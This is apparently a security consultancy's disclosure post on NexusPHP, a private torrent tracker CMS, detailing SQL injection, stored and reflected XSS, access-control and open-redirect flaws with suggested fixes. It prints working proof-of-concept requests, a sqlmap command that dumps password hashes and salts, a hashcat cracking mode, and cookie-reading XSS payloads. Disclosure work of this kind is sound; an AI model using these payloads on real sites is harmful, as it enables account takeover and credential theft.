By Simone Q., Principal Security Consultant at SureCloud
Published on 16th January 2023
SureCloud undertook an independent security review of NexusPHP and identified multiple vulnerabilities from both authenticated and unauthenticated sources that could be exploited remotely.
Identifying vulnerabilities is part of how SureCloud provides its clients with superior risk management and security services and tools — explore the possibilities of SureCloud’s Vulnerability Management software.
In our NexusPHP security review, we assigned the following CVEs:
These CVEs impact all versions of NexusPHP before and including 1.7.32. The latest version, 1.7.33, includes security fixes for all of the above vulnerabilities.
Below is a detailed overview of the NexusPHP platform, the vulnerabilities SureCloud identified, and suggestions on how to fix them.
NexusPHP (github.com/xiaomlove/nexusphp – nexusphp.org) is an open-source private torrent (PT) content management system (CMS).
Compared to a public torrent tracker, a private one only allows users that are logged in to browse, download and upload torrents from its URL. This project was forked from an outdated and unmaintained version of NexusPHP (github.com/zjutjh/NexusPHP) and enriched with Laravel and Filament.
Structured Query Language (SQL) Injection is a vulnerability that occurs when an attacker directly embeds code into an SQL query. This results in a change to the meaning of the original query and the unexpected modification or extraction of potentially sensitive data.
It is one of the most harmful types of attack, as it can be used against any website or web application that uses an SQL-based database. In some extreme situations, it would also be possible to compromise the underlying Database Management System (DBMS) and gain access to an organization’s entire infrastructure.
There are two main ways to exploit SQL injections:
Unauthenticated remote attackers can exploit an instance of SQL injection (time-based function) affecting the ‘conuser[]’ parameter in ‘takeconfirm.php’.
A proof of concept request will make the DBMS go into a state of sleep for two seconds before serving the following response:
POST /takeconfirm.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1&email=fail_sendmail&conusr[]=1-sleep(2));+–+
This behavior is caused by the way the ‘consur’ parameter is handled in line nine of the file, /public/takeconfirm.php:
if(isset($_POST[‘conusr’]))
sql_query(“UPDATE users SET status = ‘confirmed’, editsecret = ” WHERE id IN (” . implode(“, “, $_POST[‘conusr’]) . “) AND status=’pending’”);
As this is a time-based SQL injection, it can be exploited by automated tools such as ‘sqlmap’. For example:
sqlmap -r post_request.txt -D nexusphp -T users -C secret,passhash –dump
With secret (salt) and passhash obtained, the original plaintext password can be retrieved using hashcat with the following parameter:
File format: <passhash>:<secret>
Run: hashcat.exe -m 3800
Several other authenticated SQL injections were observed during the code review, but a CVE was not requested due to the authentication needed to fully exploit them. For example:
Page: cheaterbox.php
Parameter: delcheater
Privileges: Staff Member
Proof of concept:
POST/cheaterbox.php […]
setdealt=Set+Dealt&delcheater[]=0)+UNION+ALL+SELECT+(‘anything’
Caused by the following code in public/cheaterbox.php:
15: $res = sql_query (“SELECT id FROM cheaters WHERE dealtwith=0 AND id IN (” . implode(“, “, $_POST[‘delcheater’]) . “)”);
24: $res = sql_query (“SELECT id FROM cheaters WHERE id IN (” . implode(“, “, $_POST[‘delcheater’]) . “)”);
Page: nowarn.php
Parameter: usernw
Privilege: Staff Member
Proof of concept:
POST /nowarn.php HTTP/1.1
[…] nowarned=nowarned&usernw[]=2)+UNION+SELECT+passhash+FROM+users+WHERE+ID=(1&
desact=1&delete=o
Caused by the following code in public/nowarn.php:
27: $r = sql_query(“SELECT modcomment FROM users WHERE id IN (” . implode(“, “, $_POST[‘usernw’]) . “)”)or sqlerr(__FILE__, __LINE__);
It’s possible to prevent SQL injections at the code base by filtering user input. This is done by implementing prepared statements or stored procedures that are available in all programming languages. This prevents user input interfering with the query structure and the original meaning remains unchanged.
Other best practices should also be in place to limit the impact of potential SQL Injection vulnerabilities. For example:
Cross-site scripting attacks occur when user input is reflected into the application’s page without being properly sanitized. This allows for the possible injection of JavaScript or HTML code that can be executed once the page is rendered in a browser.
There are three types of XSS:
An authenticated attacker with permissions to upload new subtitles can exploit an instance of cross-site scripting (stored) affecting the ‘title’ parameter used in ‘subtitles.php’ page.
A proof of concept request is as follows:
POST /subtitles.php? HTTP/1.1
Host: 192.168.204.137
Content-Type: multipart/form-data; boundary=—————————538246582365809108635404342
Content-Length: 706
Cookie: <valid session token>
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”action”
Upload
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”file”; filename=”test.srt”
Content-Type: text/html
Test
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”torrent_id”
1
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”title”
111<svg/onload=alert(document.cookie);>
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”sel_lang”
14
—————————–538246582365809108635404342–
This is caused by how the ‘details.php’ page reflects the user input (title) without proper encoding:
while($a = mysql_fetch_assoc($r))
[..]
<u>”. $a[“title”]. “</u>
[…]
An unauthenticated attacker can exploit an instance of cross-site scripting (reflected) affecting the ‘secret’ parameter used on the ‘login.php’ page.
The proof of concept request is as follows:
/login.php?secret=”><svg+onload=”alert(document.cookie)
The input passed in ‘secret’ is reflected twice in the response page without proper encoding, which allows JavaScript code to be executed in the browser. The issue is caused by the following line in the code of public/login.php:
53: <input type=”hidden” name=”secret” value=”<?php echo $_GET[‘secret’] ?? ”?>”>
Several other instances of cross-site scripting, authenticated or unauthenticated, were observed during the code review, but no CVEs were raised. For example:
Page: user-ban-log.php
Parameter: q
Privilege: unauthenticated
Proof of concept: /user-ban-log.php?q=admin”><svg/onload=alert(document.cookie)>
Page: log.php
Parameter: query
Privilege: user role
Proof of concept: /log.php?query=”><svg+onload=”alert(document.cookie)&search=all&action=dailylog
Page: moresmiles.php
Parameter: text
Privilege: user role
Proof of concept: /moresmilies.php?form=&text=’)”><svg+onload=alert(document.cookie)>
Page: myhr.php
Parameter: q
Privilege: user role
Proof of concept: /myhr.php?q=”><svg+onload=alert(document.cookie)>
Page: viewrequests.php
Parameter: id
Privilege: user role
Proof of concept: /viewrequests.php?action=newmessage&id=><svg+onload=alert(document.cookie) and /viewrequests.php?action=res&id=”><svg+onload=”alert(document.cookie)
The best way to defend against cross-site scripting is output encoding. All user input reflected in a later response, received from a database or from a GET/POST parameter, should be encoded to prevent it from being executed in a browser. Several types of encoding can be applied based on where the user output is returned, such as URL and HTML JavaScript or CSS encoding.
You can implement other security measures to limit the severity of an XSS attack, such as the use of ‘Content Type’ and ‘X-Content-Type-Options’ response headers. Both will ensure browsers interpret responses in the intended way, for example, text/plain instead of text/html.
Using an ‘HTTPOnly’ flag in-session helps prevent JavaScript from reading content or implementing a Content Security Policy (CSP) header to specify which resources can be executed on the application.
Access Control regulates which actions can be performed in the application. For example, standard users shouldn’t be able to use or access functionalities only available to administrative users. These controls are created by a programmer, and so are not usually made or enforced by the technology or framework in use.
The main types of access controls are:
In this case, the type of weak access control identified within the application was vertical. An authenticated user can edit any post within the forum, even those not accessible or visible to their current role. The attack is made possible because the application did not check the permissions before executing the edit action.
The proof of concept POST request is as follows:
POST /forums.php?action=post HTTP/1.1
Host: 192.168.204.137
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: <valid session cookies>
id=7&type=edit&color=0&font=0&size=0&body=permissions+check2
Once the page refreshed, a standard user (user 2) was able to edit the content of a post created by an administrative user.
By enumerating the ‘id’ parameter (incremental numeric digits), it is possible to replace any post created in the forum with a custom message.
Several other misconfigurations were also observed during the code review, but CVEs weren’t requested.
For example, it was possible to access the shout box, a chat box for users of the platform, from an unauthenticated perspective by simply browsing the URL ‘/shoutbox.php’.
Similarly, the ‘aboutnexus.php’ page was also accessible as an unauthenticated user, which contained sensitive information about the current version of NexusPHP.
Finally, an open redirect was identified and was exploitable from an authenticated perspective. Open redirect can trick the user into landing on an arbitrary page outside of the application’s scope and can be exploited as follows:
POST forums.php?action=setsticky
[…]
topicid=1&returnto=https://www.google.com
To prevent access control vulnerabilities, it is fundamental for programmers to implement the following principles:
Alternatively, take a look at the benefits of our Vulnerability Management Software, and how it can assist your cybersecurity team.